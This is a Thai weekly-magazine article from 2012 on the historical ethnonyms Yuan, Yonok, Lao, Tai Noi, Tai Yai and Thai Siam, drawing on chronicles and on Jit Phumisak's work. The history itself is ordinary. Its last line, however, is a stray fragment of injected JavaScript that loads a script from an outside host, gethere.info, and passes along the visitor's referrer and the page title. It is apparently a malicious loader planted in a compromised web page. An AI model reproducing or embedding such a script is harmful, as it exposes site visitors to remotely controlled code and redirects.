มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 21 กันยายน 2555

 

         ยวนพ่าย หมายถึง เชียงใหม่แพ้ (อยุธยา) เป็นชื่อวรรณกรรมยุคต้นอยุธยา แต่งยอพระเกียรติพระเจ้าแผ่นดินอยุธยาที่รบชนะเชียงใหม่

         แสดงว่าคนอยุธยายุคต้นๆ เรียกดินแดนและคนในล้านนาที่มีเมืองเชียงใหม่ เป็นศูนย์อำนาจของรัฐล้านนา ว่า ยวน

         ยวน คือ โยนก เป็นรัฐเอกราชและมีผู้คนเรียกตัวเองว่าลาว คนอื่นก็เรียกลาว มีดินแดนอยู่ภาคเหนือของไทยทุกวันนี้

 

ยวน, โยนก

         โยนก หมายถึง ดินแดน และ/หรือผู้คนในภาคเหนือสมัยโบราณ อาจใช้แทนคำว่าล้านนาได้ เช่น พงศาวดารโยนก ที่พระยาประชากิจกรจักร (แช่ม บุนนาค) เรียบเรียงขึ้นนั้นหมายถึงเรื่องราวของบ้านเมืองและแว่นแคว้นทางล้านนา

         เมื่อแรกเริ่มเดิมทีชื่อ โยนก หมายถึงดินแดนและประชากรบริเวณที่ทุกวันนี้เรียกว่าที่ราบลุ่ม จ. เชียงราย กับ จ. พะเยา และต่อเนื่องเข้าไปถึงบางส่วนของพม่าและลาว โดยมีลำน้ำแม่กกเชื่อมแม่น้ำโขงเป็นแกน

         ก่อนได้ชื่อว่า โยนก ตำนานสิงหนวัติกุมาร (หรือสิงหนวัติ) กล่าวว่าบริเวณนี้เป็นดินแดน “สุวรรณโคมคำ” แต่รกร้างไปแล้ว เมื่อสิงหนวัติกุมารนำไพร่บ้านพลเมืองจากนครไทยเทศมาถึง จึงสร้างเมืองใหม่ลงบริเวณนี้แล้วให้ชื่อว่า “นาคพันธุสิงหนวตินคร” ภายหลังเปลี่ยนชื่อเป็น “โยนกนครไชยบุรีราชธานีศรีช้างแสน” มีคำว่า โยนก อยู่ด้วย

         ศาสตราจารย์ ดร. ประเสริฐ ณ นคร อธิบายชื่อ ช้างแสน แปลว่า ช้างร้อง ภายหลังเปลี่ยนชื่อเป็น เชียงแสน และเรียกพลเมืองของโยนกนครว่า ชาวยวน ต่อมาใช้ โยนก เป็นชื่อแคว้น แคว้นโยนกโบราณประกอบด้วยเมืองเชียงราย เชียงของ และเชียงแสน ฯลฯ

         จากหลักฐานตำนานและพงศาวดารจะเห็นว่าชื่อโยนก แต่ดั้งเดิมหมายถึงดินแดนและประชากรในเขตที่ราบลุ่ม จ. เชียงราย กับ จ. พะเยา ซึ่งเป็นส่วนหนึ่งของภาคเหนือเท่านั้น (แต่อาจต่อเนื่องเข้าไปในบางส่วนของพม่าและลาว)

         ทั้งนี้ไม่รวมหรือไม่เกี่ยวกันกับบริเวณที่ราบลุ่มแม่น้ำปิงกับแม่น้ำวังในเขต จ. เชียงใหม่, จ. ลำพูน และ จ. ลำปาง เพราะมีหลักฐานประเภทศิลาจารึก ตำนานและพงศาวดารระบุอย่างแน่ชัดว่า เรียก “สมันครประเทศ” และ “พิงครัฐ” โดยมีเมืองสำคัญอยู่ที่หริภุญชัย (ลำพูน) และเขลางนคร (ลำปาง)

         ครั้นหลัง พ.ศ. 1800 พญามังรายซึ่งเป็นใหญ่อยู่บริเวณที่ราบลุ่มเชียงราย-พะเยา หรือโยนก ก็ยกกองทัพข้ามขุนเขาเข้าปราบปรามแล้วยึดหริภุญชัยได้สำเร็จ จึงทรงตั้งเมืองเชียงใหม่ขึ้นบริเวณที่ราบลุ่มแม่น้ำปิงให้เป็นราชธานีของแว่นแคว้นที่เกิดใหม่ซึ่งมักเรียกกันภายหลังว่า ล้านนา

         แต่โดยเหตุที่พญามังรายและชาวโยนกมีชัยชนะได้เป็นใหญ่เหนือพวกอื่น บางครั้งจึงเรียกว่าชาวยวนหรือดินแดนโยนกรวมไปทั้งหมด เช่น พวกกรุงศรีอยุธยา เรียกชาวล้านาว่า ยวน ดังวรรณกรรมเรื่องยวนพ่าย แต่งสมัยกรุงศรีอยุธยา

         ทุกวันนี้ชาวเชียงใหม่เรียกตัวเองว่า ไทยยวน

         ดร. วิลเลียม คลิฟตัน ดอดด์ หรือที่รู้จักกันในชื่อ “หมอดอดด์” กล่าวไว้ในเรื่อง “ชนชาติไทย” (The Thai Race–แปลโดย หลวงนิเพทย์นิติสวรรค์) ถึงคำว่า ยวน  หาใช่ชื่อใหม่ไม่ แต่เป็นชื่อที่คนในถิ่นใกล้เคียงโดยรอบใช้เรียกคนไทยมาแต่ดึกดำบรรพ์แล้ว และพวกพม่ายังคงเรียกดินแดนตะวันออกของแม่น้ำสาละวินว่า ยวน

         เรื่องชื่อ โยนก ยวน จิตร ภูมิศักดิ์ สงสัยว่าคำที่พม่าเรียกชาวเชียงใหม่ว่า ยูน ซึ่งคนไทยมักเข้าใจว่าจะเพี้ยนมาจากคำว่า ไตยน หรือไทยวนนั้น แท้จริงเป็นคำภาษาพม่า ยูน แปลว่าข้าหรือทาส ในภาษาสุภาพของพม่าจะเรียกตัวเองว่า ยูนโนก แปลว่า ทาสผู้ต่ำต้อย และเรียกผู้ที่พูดด้วยว่า ขิ่นพญา แปลว่า ท่านนาย (ความเป็นมาคำสยามฯ ฉบับพิมพ์ครั้งแรก พ.ศ. 2519 หน้า 500, 573)

 

ชาวยวน, ชาวโยนก ก็เป็นลาว

         ชาวยวน หรือชาวโยนกยุคดั้งเดิมก็ถือตนว่าเป็นลาว (ไทย, ไต, ไท แปลว่า ชาว หรือคน ดังนั้นคำว่าไทยยวน, ไทยโยนก แปลว่า ชาวยวน, ชาวโยนก)

         คนยุคต้นอยุธยา คุ้นเคยกับลาวจากเมืองพะเยา (ดินแดนโยนก) จึงยกเป็นตัวละครในการละเล่นเบิกโรงชุดลาวกับไทยฟันดาบ มีในสมุทรโฆษคำฉันท์ว่า

         กูนี้เนื้อลาว

         แต่ยังพยาว               บมีผู้ปาน

         ลาว แปลว่า คน แต่ไม่ใช่คนธรรมดาทั่วไป หากหมายถึงคนผู้เป็นนาย, ผู้มีอำนาจ, ผู้เป็นใหญ่ แล้วในที่สุดก็เป็นคำนำหน้านามกษัตริย์และผู้ที่เคารพ ต่อมามีคำอื่นมาใช้เรียกนำหน้านามกษัตริย์แทนคำว่าลาว เช่น ขุน, ท้าว, พญา, ฯลฯ นับแต่นั้นคำว่าลาวจึงค่อยๆเสียความหมายอันสูงสุดไป แล้วเลื่อนต่ำลงเป็นคำสรรพนามที่หมายถึง ท่าน (สรุปย่อจากหนังสือ ความเป็นมาคำสยามฯ ของ จิตร ภูมิศักดิ์ พิมพ์ครั้งแรก พ.ศ. 2519)

         ลาว มีตำนานกำเนิดจากน้ำเต้าปุง ร่วมกับคนอื่นๆ รวม 5 พวก แล้วแยกย้ายกระจัดกระจายไปอยู่ตามที่ต่างๆ โดยยังเป็นเครือญาติกันทั้งมวล

         ปู่เจ้าลาวจก เป็นต้นตระกูลลาว (โดยพุทธพยากรณ์ไว้ มีในพงศาวดารโยนก ของ พระยาประชากิจกรจักร) อยู่ดอยตุง ปัจจุบันอยู่ จ. เชียงราย

          จก คือ จอบขุดดิน ปู่เจ้าลาวจก เป็นหัวหน้าใหญ่ผู้มีจก คือจอบขุดดินมากกว่า 500 เล่มขึ้นไป สำหรับแจกจ่ายให้หมู่บริวารเช่ายืมไปทำไร่ เท่ากับเป็นผู้ครอบครองเทคโนโลยีล้ำยุคที่สุด

         คำว่าลาว ใช้เป็นคำนำหน้านามกษัตริย์ เริ่มจากลาวจก มีในลำดับกษัตริย์วงศ์หิรัญนครเงินยาง สืบถึงพญามังราย เชียงใหม่ เช่น (ปู่เจ้า) ลาวจก, ลาวเก๊าแก้ว, ลาวเสา, ลาวตัง, ลาวกลม, ลาวแหลว, ฯลฯ จนถึงลาวมิง, ลาวเมือง, ลาวเมง

         ลูกลาวเมง คือมังราย ที่ชนะหริภุญชัย (ลำพูน) แล้วสร้างเมืองเชียงใหม่ สืบวงศ์ลงไปถึงพระเจ้าติโลกราช ที่รบกับพระบรมไตรโลกนาถแห่งอยุธยา จนเกิดวรรณกรรมยวนพ่าย

         จิตร ภูมิศักดิ์ สรุปว่า

         “ไทยโยนกนั้นดั้งเดิมก็ถือตนว่าเป็นลาว. ราชวงศ์ลาวแห่งอาณาจักรเงินยางนั้น แท้ที่จริงก็คือบรรพบุรุษของราชวงศ์เมงรายที่สถาปนาอาณาจักรเชียงใหม่—–

         ทางอยุธยาและกรุงรัตนโกสินทร์ยุคต้นก็ถือว่าเชียงใหม่โยนกเป็นลาวเรียกว่า ลาวยวน, ลาวเฉียง และลาวพุงดำ แต่คำที่เรียกขานว่าลาวนั้น มีความหมายดูถูกเหยียดหยามทางเชื้อชาติเสียจนในที่สุดชาวไทยล้านนาเกิดความรู้สึกรังเกียจคำนี้ และปฏิเสธว่าตนมิใช่ลาวเอาเลยทีเดียว เขามีคำใหม่ของเขาเองสำหรับเรียกพวกเขา คือ คนเมือง และเรียกภาษาของเขาว่า คำเมือง ไม่พอใจที่จะให้ใครเรียกเขาว่าลาวเลยจนทุกวันนี้

         อันนี้ตรงข้ามกับชาวล้านช้าง คือลาวในประเทศลาวปัจจุบัน เขาภูมิใจและทรนงในศักดิ์ศรีแห่งความเป็นชาวลาวของเขาอย่างยิ่ง”

         คำเรียกตัวเองว่า คนเมือง เพิ่งมีขึ้นหลัง พ.ศ. 2400 ช่วงแผ่นดิน ร.5 ปฏิรูปการปกครอง

 

ไทยน้อย, ไทยใหญ่, ไทยสยาม

         คนยุคอยุธยารู้จักพวกลาวในอีก 2 ชื่อว่าไทยใหญ่กับไทยน้อย

         ชาวสยามพวกหนึ่งในอยุธยา เรียกกรุงศรีอยุธยาว่า เมืองไทย เรียกตนเองว่า ไทย แล้วยังระบุชัดลงไปเป็นไทยน้อย หมายถึงบอกย้ำว่าไม่ได้เป็นไทยใหญ่

         ไทยน้อย เป็นชื่อที่คนในอยุธยา ราวเรือน พ.ศ. 2000 ผูกขึ้นเรียกพวกลาว หรือชาติพันธุ์ในวัฒนธรรมลาวบริเวณสองฝั่งโขง ทั้งฝั่งขวา (คือบริเวณอีสานในประเทศไทยทุกวันนี้) และฝั่งซ้าย (คือดินแดนลาวปัจจุบัน) ต่อเนื่องไปทางทิศตะวันออกถึงกลุ่มชาติพันธุ์พูดตระกูลไทย-ลาว ลุ่มน้ำดำ-แดง (ในเวียดนาม), กวางสี-กวางตุ้ง (ในจีน)

         ลาวสองฝั่งโขง ถูกเรียกสมัยหลังว่า ลาวพุงขาว เพราะไม่สักลายตามตัวเหมือนพวกไทยใหญ่ คนพวกนี้ออกเสียงตรงตามรูปอักษร คือ ท เป็น ท และ พ เป็น พ

         ไทยใหญ่ เป็นชื่อที่คนในอยุธยา ราวเรือน พ.ศ. 2000 ผูกขึ้นเรียกพวกลาว บริเวณลุ่มน้ำสาละวินตอนเหนือ (ในพม่า) ต่อเนื่องถึงลุ่มน้ำพรหมบุตร (ในอัสสัมของอินเดีย)

         ลาวลุ่มน้ำสาละวิน ถูกเรียกสมัยหลังว่า ลาวพุงดำ เพราะสักลายด้วยหมึกสีคล้ำตามตัวตั้งแต่บั้นเอวลงไปถึงแข้ง (ขา) คนพวกนี้ออกเสียง ท เป็น ต และ พ เป็น ป

         ไทยใหญ่ยังถูกเรียกจากชาติพันธุ์อื่นๆอย่างดูถูกเหยียดหยามเป็นสัตว์เลื้อยคลานว่า เงี้ยว แปลว่า งู (เหมือนคำว่า เงือก, งึม)

         เหตุที่ได้นามไทยใหญ่ มีผู้เชี่ยวชาญเคยอธิบายว่าหมายถึงดินแดนและผู้คนที่รับศาสนาจากชมพูทวีปแล้วเติบโตเป็นบ้านเมืองเป็นรัฐก่อนไทยน้อย ที่เพิ่งรับศาสนาในภายหลัง

         แม่น้ำสาละวินเป็นชื่อในภาษาพม่า แต่พวกลาวเรียก น้ำแม่คง คำว่า คง มีที่มาและความหมายเดียวกับคำว่า ของ ในชื่อน้ำแม่ของ หรือแม่น้ำโขง มีรากจากภาษามอญว่า โคลฺ้ง แปลว่า ทาง, เส้นทางคมนาคม

         ไทยสยาม เป็นคำผูกขึ้นใหม่เมื่อไม่นานมานี้ ราวหลัง พ.ศ. 2400 เพื่อสมมุติเรียกอย่างรวมๆ หมายถึงกลุ่มผู้คนบริเวณลุ่มน้ำเจ้าพระยาภาคกลางตั้งแต่อดีตถึงปัจจุบัน ซึ่งประกอบด้วยชาติพันธุ์ต่างๆ ปะปนกัน โดยเฉพาะตระกูลมอญ-เขมร, ไทย-ลาว, ชวา-มลายู, และจีน

         ปัจจุบันพวกไทยสยามเรียกตัวเองว่า คนไทย หรือ ไทย หมายถึง อิสระ, เสรี

         ไทย, คนไทย, ความเป็นไทย, และลักษณะไทย แรกมีขึ้นราวหลัง พ.ศ. 1700 พร้อมกับวิวัฒนาการอักษรไทย บริเวณที่ราบลุ่มน้ำเจ้าพระยาภาคกลาง

         แต่ที่เรียกตนเองว่าไทย เพิ่งพบหลักฐานเป็นลายลักษณ์อักษรเก่าสุด อยู่ในวรรณคดียุคต้นอยุธยาเรื่อง สมุทรโฆษคำฉันท์ หลัง พ.ศ. 2000

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;